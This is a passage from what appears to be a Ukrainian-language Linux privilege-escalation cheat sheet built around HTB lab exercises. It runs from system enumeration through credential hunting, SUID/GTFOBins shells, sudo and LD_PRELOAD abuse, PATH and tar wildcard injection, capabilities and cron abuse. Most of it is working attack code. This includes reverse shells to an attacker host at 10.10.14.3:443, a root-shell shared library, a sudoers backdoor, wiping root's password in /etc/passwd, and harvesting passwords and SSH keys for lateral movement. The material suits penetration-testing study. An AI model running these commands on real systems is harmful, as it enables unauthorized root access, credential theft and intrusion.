| **Що шукати** | Kubernetes API + Kubelet API (якщо в k8s environment) |
| **Цікавий результат** | Anonymous access до :10250/pods → JSON list pods → kubelet attack. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 11 (Kubernetes). |

```
ls /.dockerenv /run/.containerenv && cat /proc/1/cgroup
```

| | |
|---|---|
| **Що шукати** | Detect чи ми в контейнері (важливо для контексту) |
| **Цікавий результат** | Файли є / cgroup містить 'docker'/'kubepods' — ми в container. Треба думати про container escape замість host privesc. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 10 (Docker escape), Розділ 11 (K8s escape). |

## 2.12 Logs, Logrotate, Proc

```
logrotate --version
```

| | |
|---|---|
| **Що шукати** | Version logrotate — перевірка на vulnerable версію (3.8.6, 3.11.0, 3.15.0, 3.18.0) |
| **Цікавий результат** | logrotate 3.8.6 — vulnerable, є PoC (logrotten). |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 13 (Logrotate). |

```
cat /etc/logrotate.conf && ls /etc/logrotate.d/
```

| | |
|---|---|
| **Що шукати** | Конфіг logrotate + per-app конфіги |
| **Цікавий результат** | create/compress директиви (визначають тип експлойта). Custom rules для writable logs — вектор для logrotten. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 13. |

```
find /var/log -writable 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Writable log файли — якщо logrotate vulnerable + ми пишемо в лог → privesc |
| **Цікавий результат** | /var/log/apache2/custom.log writable нашим юзером → logrotten exploit. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 13. |

```
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
```

| | |
|---|---|
| **Що шукати** | Повний перелік argv всіх процесів — може містити passwords в аргументах |
| **Цікавий результат** | mysql -u root -ppassword123 в process args → credential leak. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 3. |

```
ls -la /var/log/ && cat /var/log/auth.log 2>/dev/null | head -20
```

| | |
|---|---|
| **Що шукати** | Доступ до системних логів — може розкрити sudo commands, SSH logins, failed attempts |
| **Цікавий результат** | sudo команди інших юзерів з аргументами (якщо в auth.log). Patterns логінів → таргети для brute force. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3. |

## 2.13 Додаткові перерахування

```
grep "DB_USER\|DB_PASSWORD\|DB_PASS\|PASSWORD" -r /var/www /opt 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | WordPress, Laravel, Django, custom app configs — hardcoded DB creds |
| **Цікавий результат** | define('DB_PASSWORD', 'WPadmin123!'); в wp-config.php — credential leak. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 3. |

```
cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Sudoers configs — якщо маємо read access (нестандартно) |
| **Цікавий результат** | Custom rules для нашого юзера або для нашої групи. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 5. |

```
lpstat -p 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Active printers — print jobs іноді мають credentials |
| **Цікавий результат** | Rare vector, але може дати інсайти про AD/domain. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Info-gathering. |

```
aa-status 2>/dev/null && sestatus 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | AppArmor / SELinux status — захисти на системі |
| **Цікавий результат** | 'apparmor module is loaded' + active profiles — деякі експлойти можуть фейлитись. SELinux enforcing — те саме. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Context для вибору експлойтів. |

```
iptables -L -n 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Firewall rules (якщо ми root або cap_net_admin) |
| **Цікавий результат** | Зазвичай ми не побачимо — але якщо бачимо: outbound blocked → треба підбирати reverse shell port. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | — |

```
strace ping -c1 <ip> 2>&1 | head -50
```

| | |
|---|---|
| **Що шукати** | Trace system calls — для reverse engineering custom SUID binaries |
| **Цікавий результат** | Виявляє які файли/бібліотеки читає binary, підказує shared object hijacking векторы. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 4 (SUID RE). |

## 2.14 Автоматизовані інструменти (для фону)

Поки проходимо ручне перерахування, запустіть паралельно наступні tools — їхній output використовуйте як supplement, не як заміну ручної роботи:

**LinPEAS** — wget/curl на target, chmod +x, запустити. Кольоровий output, підсвічує критичні misconfig. Шукати RED/YELLOW entries, особливо в sections: SUID, Capabilities, Cron, Sudo.

**LinEnum** — Альтернатива LinPEAS, менше виводу, швидше. Запуск: ./LinEnum.sh -t -k password.

**linux-exploit-suggester** — Аналіз kernel version → список потенційних CVE/exploits. Запуск: ./les.sh.

**pspy** — Background моніторинг процесів без root. Критичний для cron/path abuse. Запуск: ./pspy64 -pf -i 1000.

**kubeletctl** — Якщо в k8s environment — enumeration kubelet API.

**Підсумок Enumeration**

Після проходження цього розділу у вас повинні бути: (1) повний контекст системи, (2) список потенційних privesc векторів, (3) зібрані credentials/SSH keys для lateral movement. Далі переходьте до відповідного розділу експлуатації.

# 3. Credential Hunting

Credential hunting — пошук credentials (паролів, API keys, tokens, SSH keys) у файлах системи. Це один з найефективніших шляхів до privesc та lateral movement, тому що адміни часто залишають чутливі дані у configs, scripts, backup файлах.

## 3.1 Де шукати credentials

| Місце | Приклади / розширення |
|---|---|
| Configuration files | .conf, .config, .xml, .ini, .yml, .yaml, .json, .env, .properties |
| Shell scripts | .sh, .py, .pl, .rb — часто з hardcoded passwords у curl/wget/mysql commands |
| Bash history | ~/.bash_history, /home/*/.bash_history — commands з паролями в argv |
| App-specific history | .mysql_history, .psql_history, .viminfo, .lesshst, .rediscli_history |
| Backup files | .bak, .backup, .old, .orig, ~ (tilde), .swp — забуті копії з паролями |
| Database files | SQLite (.db, .sqlite), MySQL dumps (.sql), CSV з user data |
| Web root | /var/www/html — wp-config.php (WordPress), .env (Laravel), settings.py (Django) |
| Mail spool | /var/spool/mail, /var/mail — email з credentials, confirmation emails |
| Cron scripts | /etc/cron.*, /var/spool/cron — backup scripts з DB credentials |
| SSH keys | ~/.ssh/id_rsa, id_dsa, *.pem, authorized_keys, known_hosts |
| Cloud credentials | ~/.aws/credentials, ~/.config/gcloud/, ~/.azure/, ~/.kube/config |
| Git repos | .git/config, .git/logs/ — іноді credentials в commit messages |

## 3.2 Команди для пошуку credentials

**Грубий grep по ключових словах:**

```
grep --color=auto -rnw "/var/www" "/home" "/opt" "/etc" \
  -e "password" -e "passwd" -e "pwd" -e "secret" \
  -e "api_key" -e "apikey" -e "token" -e "username=" \
  2>/dev/null | grep -v "Binary file"
```

**WordPress wp-config.php:**

```
grep 'DB_USER\|DB_PASSWORD' wp-config.php
# Очікуваний output:
# define( 'DB_USER', 'wordpressuser' );
# define( 'DB_PASSWORD', 'WPadmin123!' );
```

**Пошук всіх config файлів:**

```
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
```

**Перевірка bash_history та інших history файлів:**

```
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
find / -type f \( -name "*_history" -o -name ".*_hist" \) -ls 2>/dev/null
cat ~/.mysql_history ~/.psql_history ~/.viminfo 2>/dev/null
```

## 3.3 SSH Keys

SSH keys — один з найпотужніших знахідок. Приватний ключ дає прямий доступ до іншого юзера або навіть іншого хоста без пароля.

**Перевірка своїх SSH keys:**

```
ls -la ~/.ssh/
# Шукаємо:
# id_rsa        ← приватний ключ (цінний)
# id_rsa.pub    ← публічний
# known_hosts   ← список хостів куди підключались (цілі для lateral)
# authorized_keys ← хто має доступ до НАШОГО акаунта
```

**Пошук SSH ключів по системі:**

```
find / -name "id_rsa*" -o -name "id_dsa*" -o -name "id_ed25519*" \
  -o -name "*.pem" -o -name "authorized_keys" -o -name "known_hosts" \
  2>/dev/null
```

**Використання знайденого ключа:**

```
# Зберегти приватний ключ у файл
cp /home/admin/.ssh/id_rsa /tmp/admin.key
chmod 600 /tmp/admin.key

# SSH локально під іншим юзером
ssh -i /tmp/admin.key admin@localhost

# SSH на інший хост з known_hosts
ssh -i /tmp/admin.key user@<target-from-known-hosts>
```

> **Chain tip**
>
> Завжди перевіряй known_hosts — це готовий список цілей для lateral movement. Якщо маєш id_rsa юзера X, то на всі хости з його known_hosts часто є доступ під X.

## 3.4 Приклад повного workflow

```
# 1. Grep по критичним директоріям
grep -r 'password' /var/www /home /etc 2>/dev/null | head -20

# 2. Перевірити env variables на існуючі credentials
env | grep -i -E 'pass|secret|token|key'

# 3. .bash_history всіх юзерів
cat /home/*/.bash_history 2>/dev/null | grep -i -E 'pass|mysql|ssh'

# 4. SSH keys
find / -name 'id_rsa*' 2>/dev/null

# 5. Config files
find / -name '*.conf' -exec grep -l 'password\|secret' {} \; 2>/dev/null
```

# 4. SUID / SGID Binaries + GTFOBins

SUID (Set User ID) та SGID (Set Group ID) — спеціальні біти permissions, які дозволяють бінарю виконуватися з правами ВЛАСНИКА файлу замість викликаючого юзера. Якщо бінарь належить root і має SUID bit, будь-який юзер виконує його з правами root.

## 4.1 Теорія: SUID vs SGID vs Sticky

| Permission | Octal | Візуально | Ефект |
|---|---|---|---|
| SUID | 4000 | rwsr-xr-x | Запуск з правами власника файлу (часто root) |
| SGID | 2000 | rwxr-sr-x | Запуск з правами групи-власника |
| SUID + SGID | 6000 | rwsr-sr-x | Обидва біти |
| Sticky | 1000 | rwxrwxrwt | Тільки власник може видаляти (/tmp) |
| Dead SUID | — | rwSr--r-- | Біт встановлений, але немає execute → не працює |

## 4.2 Enumeration SUID бінарів

```
# Всі SUID бінарі, що належать root
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

# SUID + SGID
find / -uid 0 -perm -6000 -type f 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
```

**Стандартний (очікуваний) SUID список для Linux — зазвичай ігноруємо:**

mount, umount, su, passwd, chsh, chfn, sudo, pkexec, newgrp, gpasswd, ping, ping6, fusermount, ssh-keysign, dbus-daemon-launch-helper, polkit-agent-helper-1, dmcrypt-get-device

> ⚠ **На що звертати увагу**
>
> Шукайте НЕСТАНДАРТНІ бінарі з SUID (custom scripts у /home/*, /opt/*, /usr/local/bin/*) або стандартні бінарі з GTFOBins списку (find, nmap, vim, less, more, cp, tar, bash тощо).

## 4.3 GTFOBins — core resource

**https://gtfobins.org** — curated list бінарів, які можна абузити. Кожен бінарь має кілька категорій використання:

| Категорія | Опис |
|---|---|
| Shell | Spawn інтерактивний shell |
| SUID | Експлуатація через встановлений SUID bit → root |
| Sudo | Експлуатація через sudo rule → root |
| File read / File write | Читання/запис привілейованих файлів |
| File upload / download | Exfiltration або ingesting files |

| Категорія | Опис |
|---|---|
| Library load | LD_PRELOAD / shared object hijacking |
| Capabilities | Експлуатація встановлених capabilities |
| Limited SUID | Коли SUID є, але обмежений |

## 4.4 Приклади експлуатації SUID бінарів

### Найкорисніші приклади:

**find:**

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

**vim / vim.tiny:**

```
/usr/bin/vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-p")'
```

**nmap (older):**

```
/usr/bin/nmap --interactive  # потім !sh
```

**bash:**

```
/bin/bash -p
```

**less:**

```
/usr/bin/less /etc/passwd  # потім !/bin/sh
```

**more:**

```
/usr/bin/more /etc/passwd  # потім !/bin/sh (якщо термінал малий)
```

**awk:**

```
/usr/bin/awk 'BEGIN {system("/bin/sh")}'
```

**python / python3:**

```
/usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

**perl:**

```
/usr/bin/perl -e 'exec "/bin/sh";'
```

**nano:**

```
Поч. редагувати файл, потім ^R ^X reset; sh 1>&0 2>&0
```

**cp:**

```
/usr/bin/cp /bin/bash /tmp/rbash && chmod +s /tmp/rbash  # якщо SUID
```

**tar:**

```
/usr/bin/tar -cf /dev/null /etc/hosts --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

**zip:**

```
/usr/bin/zip /tmp/x.zip /etc/hosts -T --unzip-command="sh -c /bin/sh"
```

**cpulimit:**

```
/usr/bin/cpulimit -l 100 -f -- /bin/sh -p
```

## 4.5 GTFOBins для Sudo (частий випадок)

Якщо у **sudo -l** видно бінарь з GTFOBins — privesc тривіальний:

```
# Якщо sudo -l показує: (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!sh'
# або: sudo vim, потім ESC :set shell=/bin/sh ENTER :shell

# (root) NOPASSWD: /usr/bin/less
sudo less /etc/hosts
# потім всередині: !sh

# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/sh")}'

# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/sh")'

# (root) NOPASSWD: /usr/bin/apt-get
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```

## 4.6 Custom SUID бінарі — Reverse Engineering

Якщо знайшов custom SUID бінарь (не з GTFOBins), потрібен RE:

```
# 1. Базовий аналіз
file /home/htb-student/payroll
strings /home/htb-student/payroll | head -50

# 2. Trace system calls
strace /home/htb-student/payroll
# Шукай: execve() → які команди викликає
#        open() → які файли читає
#        setuid(0) → чи downgrade privileges

# 3. Library calls
ltrace /home/htb-student/payroll

# 4. Decompile (якщо binary не stripped)
# Pwnbox: ghidra /home/htb-student/payroll
# Або radare2: r2 -A /home/htb-student/payroll

# 5. Динамічний аналіз: GDB
gdb /home/htb-student/payroll
# (gdb) break main
# (gdb) run
# (gdb) x/20i $pc
```

### Типові вектори експлуатації custom SUID:

- **Command injection через argv** — Якщо бінарь виконує system() з user input без sanitization
- **PATH hijacking** — Якщо бінарь викликає інший binary без абсолютного шляху
- **Shared object hijacking** — LD_PRELOAD або підміна .so бібліотеки
- **Symlink attacks** — Якщо бінарь пише в predictable path

- **Buffer overflow** — Класичний memory corruption (рідко на сучасних системах через ASLR)
- **Hardcoded paths / debug flags** — Іноді є backdoor mode через env var

# 5. Sudo Rights Abuse

Sudo дозволяє виконувати команди з правами іншого юзера (часто root) без зміни сесії. Правила sudo — у /etc/sudoers та /etc/sudoers.d/*. Misconfigurations тут — один з найчастіших векторів privesc.

## 5.1 Enumeration

```
# Перевірка sudo прав поточного юзера (БЕЗ пароля — NOPASSWD)
sudo -l

# Якщо вже знаємо пароль — повний список
sudo -l   # (з паролем)

# Версія sudo (для CVE перевірки)
sudo -V
```

## 5.2 Що шукати в output sudo -l

- **(root) NOPASSWD:** — Команда без пароля — найкращий сценарій
- **(ALL) або (root)** — Виконується як root
- **(ALL : ALL) ALL** — Повні sudo права — якщо знаєш пароль → root одразу
- **Конкретний binary** — Перевір GTFOBins → Sudo section
- **Wildcard у шляху (/bin/*)** — Можлива підміна через PATH або створення бінаря
- **Відносний шлях (cat замість /bin/cat)** — PATH hijacking
- **env_keep=LD_PRELOAD / LD_LIBRARY_PATH** — LD_PRELOAD abuse
- **!requiretty** — Можна виконувати без TTY (через webshell)
- **SETENV** — Environment variables можна передавати (LD_PRELOAD abuse)

## 5.3 Приклад: tcpdump postrotate-command

Класичний приклад — sudo дозволяє запустити **tcpdump** від root. tcpdump має опцію **-z postrotate-command**, що виконує команду після rotation:

```
# 1. Створюємо payload-файл
cat > /tmp/.test << 'EOF'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
EOF

# 2. На атакуючій машині — listener
nc -lnvp 443

# 3. Запуск tcpdump з -z для виконання скрипта як root
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 \
     -z /tmp/.test -Z root

# Результат на атакуючій:
# listening on [any] 443 ...
# connect to [10.10.14.3] from (UNKNOWN) [target]
# root@target# id
# uid=0(root) gid=0(root) groups=0(root)
```

> **ℹ Нотатка по AppArmor**
>
> У нових Ubuntu/Debian AppArmor може блокувати postrotate-command — якщо експлойт фейлиться, перевір aa-status. Альтернатива — шукати інший бінарь з GTFOBins.

## 5.4 LD_PRELOAD abuse через env_keep

Якщо в sudo -l видно **env_keep+=LD_PRELOAD**, можна підвантажити свою .so бібліотеку:

```
# 1. Створити shared object
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
EOF

# 2. Компіляція
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c

# 3. Запуск з LD_PRELOAD через sudo
sudo LD_PRELOAD=/tmp/pe.so <будь-яка дозволена команда>
# → отримуємо root shell
```

## 5.5 Sudo CVE експлойти

| CVE | Версія | Опис | Команда |
|---|---|---|---|
| CVE-2019-14287 | sudo < 1.8.28 | Runas -u#-1 bypass — stock auth check | sudo -u#-1 id # або #4294967295 |
| CVE-2021-3156 | sudo 1.8.2-1.9.5p1 | Baron Samedit — heap overflow, не потребує sudo прав | git clone .../CVE-2021-3156.git; ./exploit |
| CVE-2023-22809 | sudo 1.9.12p1 | sudoedit — arbitrary file edit як root | EDITOR="vim -- /etc/sudoers" sudoedit /path/allowed |

# 6. PATH Abuse

PATH — environment variable зі списком директорій, де shell шукає executables. Якщо privileged процес (cron, SUID, sudo) викликає команду БЕЗ абсолютного шляху, а в PATH є directory до якого маємо write access — створюємо "fake" binary і воно виконається з повними правами.

## 6.1 Enumeration

```
echo $PATH
env | grep PATH

# Приклад небезпечного PATH:
# /home/user/bin:/usr/local/bin:/usr/bin:/bin
# ^^^ writable директорія попереду стандартних

# Альтернативний варіант уразливості — '.' (current dir) в PATH
# .:/usr/local/bin:/usr/bin
# Означає: shell шукає бінарі спочатку в поточній директорії
```

## 6.2 Два сценарії PATH Abuse

### Сценарій A: Writable каталог у PATH, який використовує privileged процес

Типовий приклад — cron job або SUID бінарь викликає команду без абсолютного шляху:

```
# Припустимо root cron викликає:
# */5 * * * * root backup.sh   (без /path/to/)

# І наш юзер може писати у /usr/local/bin (або він є у $PATH root'a)
# Створюємо malicious backup
cat > /usr/local/bin/backup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /usr/local/bin/backup

# Після наступного cron run:
/tmp/rootbash -p
# → root shell
```

### Сценарій B: Модифікація власного PATH з '.' для підміни команд

Якщо інший юзер (наприклад root) заходить у нашу директорію і виконує команду без абсолютного шляху (типу ls, cat, id) — ми можемо її підмінити:

```
# 1. Додати '.' у PATH
PATH=.:${PATH}
export PATH
echo $PATH
# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# 2. Створити fake binary в нашій директорії
touch ls
echo 'echo "PATH ABUSE!!"' > ls
# або для reverse shell:
echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' > ls
chmod +x ls

# 3. Коли root запустить 'ls' у нашій директорії — виконається наш скрипт
```

## 6.3 Preconditions (що має бути правдою)

- Privileged процес (cron/service/SUID) викликає команду БЕЗ абсолютного шляху
- У PATH цього процесу є writable нами директорія
- Ми можемо створити/модифікувати файл у цій директорії
- АБО: жертва заходить у директорію, яку ми контролюємо, з "." в PATH

## 6.4 Комбінування з іншими векторами

- **Cron jobs** — Якщо cron script викликає команду без абсолютного шляху
- **SUID binaries** — Якщо SUID binary викликає system("ls") або подібне
- **Wildcard injection** — Комбінація з wildcard abuse у cron
- **Sudo rules** — Якщо в sudoers вказана відносна команда (рідко, але буває)

# 7. Wildcard Abuse

Wildcard abuse — техніка, коли shell розкриває wildcard (*) у список файлів, і якщо імена файлів починаються з **--** або **-** — вони інтерпретуються як опції команди. Створюючи спеціально названі файли, можна впроваджувати аргументи у команду, яку запускає root.

## 7.1 Таблиця wildcard characters

| Символ | Значення |
|---|---|
| * | Будь-яка кількість символів у імені файлу |
| ? | Один будь-який символ |
| [ ] | Один символ з набору |
| ~ | Home directory юзера (~ = $HOME) |
| - | Діапазон символів всередині [ ] |

## 7.2 Як це працює (принцип)

Коли shell бачить команду **tar -zcf backup.tar.gz *** у директорії, він:

1. Знаходить всі файли: file1.txt, file2.txt, **--checkpoint=1**, **--checkpoint-action=exec=sh shell.sh**, shell.sh

2. Підставляє їх як аргументи: **tar -zcf backup.tar.gz file1.txt file2.txt --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh**

3. tar інтерпретує **--checkpoint=1** і **--checkpoint-action** як свої опції!

## 7.3 Класичний приклад: tar wildcard injection через cron

Припустимо є cron job, що виконується як root щохвилини:

```
# /etc/crontab
*/01 * * * * root cd /home/htb-student && tar -zcf /home/htb-student/backup.tar.gz *
```

**Кроки експлуатації:**

```
# 1. Переходимо в директорію, з якої працює cron
cd /home/htb-student

# 2. Створюємо payload-скрипт (додає нашого юзера в sudoers з NOPASSWD)
echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh

# 3. Створюємо файли з іменами, що виглядають як tar-опції
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1

# 4. Перевіряємо
ls -la
# -rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint=1
# -rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint-action=exec=sh root.sh
# -rw-rw-r--  1 htb-student htb-student   60 Aug 31 23:11 root.sh

# 5. Чекаємо наступного cron run (до 1 хвилини)
# 6. Після виконання cron:
sudo -l
# User htb-student may run the following commands:
#     (root) NOPASSWD: ALL

# 7. Переходимо в root
sudo su
```

## 7.4 Інші бінарі вразливі до wildcard injection

| Бінарь | Небезпечні опції / техніка |
|---|---|
| tar | --checkpoint=1 --checkpoint-action=exec=sh payload.sh |
| chown | --reference=file (змінити owner за reference) |
| chmod | --reference=file |
| rsync | -e "sh shell.sh" (виконати через -e ssh option) |
| 7z | Розкриває список файлів у output — info leak |
| zip | --unzip-command= |
| cp | --no-preserve= (різні опції, залежить від версії) |
| mv | Через опції --backup, --target-directory |

## 7.5 Preconditions

- Cron job АБО скрипт root виконує команду з wildcard (*)
- У нас є права запису в директорію, куди wildcard розкриється
- Команда (tar/chown/rsync/...) підтримує опції, які можна зловживати
- Ми можемо почекати наступного запуску cron

> **Чекати**
>
> Мінімум один cron cycle. Перевір частоту через pspy64 перед атакою. Якщо cron щохвилини — максимум 60 секунд. Якщо щогодини — плануй час.

# 8. Linux Capabilities

Capabilities — механізм Linux для fine-grained контролю привілеїв замість all-or-nothing моделі root/non-root. Дозволяють дати конкретному бінарю окремі root-привілеї без повного SUID. Зберігаються в extended attributes файлу.

> ⚠ **SUID vs Capabilities**
>
> Capabilities — НЕ заміна SUID, а доповнення. Бінарь може НЕ мати SUID bit, але мати capability cap_setuid=ep і все одно дозволяти privesc. Завжди перевіряй ОБИДВА.

## 8.1 Enumeration

```
# Recursively знайти всі бінарі з capabilities
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

# Повний рекурсивний пошук по всій системі
getcap -r / 2>/dev/null

# Перевірка конкретного бінаря
getcap /usr/bin/python3
```

**Приклад output:**

```
/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/python3.8 cap_setuid=ep
/usr/bin/perl cap_setuid+ep
```

## 8.2 Небезпечні capabilities

| Capability | Ефект | Експлуатація |
|---|---|---|
| cap_setuid | Зміна UID процесу | Виклик setuid(0) у python/perl/ruby → root |
| cap_setgid | Зміна GID | Аналогічно cap_setuid для GID |
| cap_sys_admin | Найширший — mount, modprobe, багато іншого | Mount будь-чого, load modules |
| cap_sys_ptrace | Attach до процесів (в т.ч. root) | Inject shellcode у root process |
| cap_sys_module | Load/unload kernel modules | Insert malicious kernel module → root |
| cap_dac_override | Bypass файлових permissions | Запис у /etc/shadow, /etc/passwd, sudoers |
| cap_dac_read_search | Bypass read/search check | Читання будь-якого файлу (shadow, SSH keys) |
| cap_chown | Зміна owner файлу | chown root:root на наш файл, потім виконати |
| cap_fowner | Bypass permission checks на file operations | chmod на файли інших |
| cap_kill | Signal будь-якому процесу | Kill root процесів (менш критично) |
| cap_net_raw | Raw packets (sniffing, spoofing) | Пасивний capture, ARP poisoning |
| cap_sys_chroot | Зміна root directory | Chroot escape techniques |

## 8.3 Суфікси (flags)

| Flag | Значення |
|---|---|
| e (effective) | Capability активна під час виконання |
| p (permitted) | Процес може активувати цю capability |
| i (inheritable) | Передається дочірнім процесам |
| =ep | Effective + Permitted — найпоширеніше, працює одразу |
| +ep | Додає E+P до існуючих |
| =eip | Всі три |

## 8.4 Швидкі експлойти

**python/perl/ruby з cap_setuid:**

```
# Python
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# Perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

# Ruby
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

# Node.js (якщо є)
/usr/bin/node -e 'process.setuid(0); require("child_process").execSync("/bin/sh", {stdio: [0, 1, 2]})'
```

**vim.basic з cap_dac_override:**

```
# cap_dac_override дозволяє обходити permissions на файли
# Варіант 1: Інтерактивно
/usr/bin/vim.basic /etc/passwd
# (модифікуй root запис: видали x у другій колонці → root::0:0:root:/root:/bin/bash)
# (збережи :wq!)
su  # без пароля → root

# Варіант 2: Non-interactive one-liner
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
su
```

**gdb з cap_sys_ptrace:**

```
# Attach до root процесу і inject shellcode
# Знайти PID root процесу
ps aux | grep root

# Attach
gdb -p <PID>
# (gdb) call system("chmod +s /bin/bash")
# (gdb) quit

# Тепер bash з SUID
/bin/bash -p
```

**tar/vim з cap_dac_override — запис у /etc/shadow:**

```
# Згенерувати новий hash для 'password'
openssl passwd -6 -salt pwn password
# $6$pwn$...

# Замінити root hash у /etc/shadow (через vim з cap_dac_override)
# Після цього:
su root  # пароль: password → root
```

**Важливо: не всі capabilities = privesc**

cap_net_raw на ping — нормально, це потрібно для ICMP. cap_net_bind_service — дозволяє bind на порти <1024, але не дає root. Дивись саме на cap_setuid, cap_dac_override, cap_sys_admin тощо.

# 9. Cron Jobs Abuse

Cron — планувальник задач у Linux. Адміни використовують cron для backup'ів, cleanup, синхронізації. Найпоширеніший вектор privesc — writable script, що виконується root-кроном.

## 9.1 Локації cron jobs (перевіряти ВСІ)

| Локація | Опис |
|---|---|
| /etc/crontab | Системний crontab — видно що виконується як root |
| /etc/cron.d/ | User/application-defined системні cron jobs |
| /etc/cron.hourly/ | Скрипти що виконуються щогодини |
| /etc/cron.daily/ | Щодня (типово 06:25) |
| /etc/cron.weekly/ | Щотижня |
| /etc/cron.monthly/ | Щомісяця |
| /var/spool/cron/crontabs/ | Персональні crontabs користувачів (часто тільки root може читати) |
| /var/spool/anacron/ | Anacron jobs — для систем, що не працюють 24/7 |
| systemd timers | systemctl list-timers — альтернатива cron, часто ігнорується |

## 9.2 Enumeration

```
# Основні файли
cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/

# Персональний crontab
crontab -l

# Systemd timers
systemctl list-timers

# Cron logs (якщо доступні)
cat /var/log/cron.log 2>/dev/null
cat /var/log/syslog 2>/dev/null | grep -i cron

# Пошук world-writable файлів (потенційні cron targets)
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```

## 9.3 Crontab формат

```
# Формат (6 полів):
# * * * * * command
# | | | | |
# | | | | └─ день тижня (0-7, 0 і 7 = Sunday)
# | | | └──── місяць (1-12)
# | | └────── день місяця (1-31)
# | └──────── година (0-23)
# └────────── хвилина (0-59)

# Приклади:
*/5 * * * * script.sh       # кожні 5 хвилин
0 */12 * * * backup.sh       # кожні 12 годин
0 3 * * 0 weekly.sh          # кожної неділі о 3:00
@reboot script.sh            # при завантаженні
@hourly, @daily, @weekly, @monthly, @yearly
```

## 9.4 pspy — ключовий інструмент

Якщо ми не можемо читати crontab (часто), використовуй pspy — моніторить всі процеси та file system events, не потребує root. Завантажити: https://github.com/DominicBreuker/pspy

```
# Варіанти pspy: pspy32, pspy64 (dynamic), pspy32s, pspy64s (static - без залежностей)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64

# Запуск: -p (processes), -f (FS events), -i 1000 (scan кожну секунду)
./pspy64 -pf -i 1000

# Шукаємо в output:
# UID=0 ... /usr/sbin/CRON -f
# UID=0 ... /bin/bash /opt/script.sh     ← вектор!
# UID=0 ... /usr/bin/tar -zcf /backup/*  ← wildcard vector!
```

## 9.5 Класичний приклад експлуатації

Сценарій: pspy показав, що кожні 3 хвилини виконується /dmz-backups/backup.sh від імені root. Перевіряємо permissions:

```
ls -la /dmz-backups/
# drwxrwxrwx  2 root root 4096 Aug 31 02:39 .
# -rwxrwxrwx  1 root root  230 Aug 31 02:39 backup.sh   ← WORLD-WRITABLE!

cat /dmz-backups/backup.sh
#!/bin/bash
# SRCDIR="/var/www/html"
# DESTDIR="/dmz-backups/"
# FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
# tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
```

**Додаємо reverse shell до скрипта:**

```
# ALWAYS backup спочатку
cp /dmz-backups/backup.sh /tmp/backup.sh.bak

# Додаємо наш payload в КІНЕЦЬ (щоб не ламати основну функцію)
echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh

# На атакуючій — listener
nc -lnvp 443

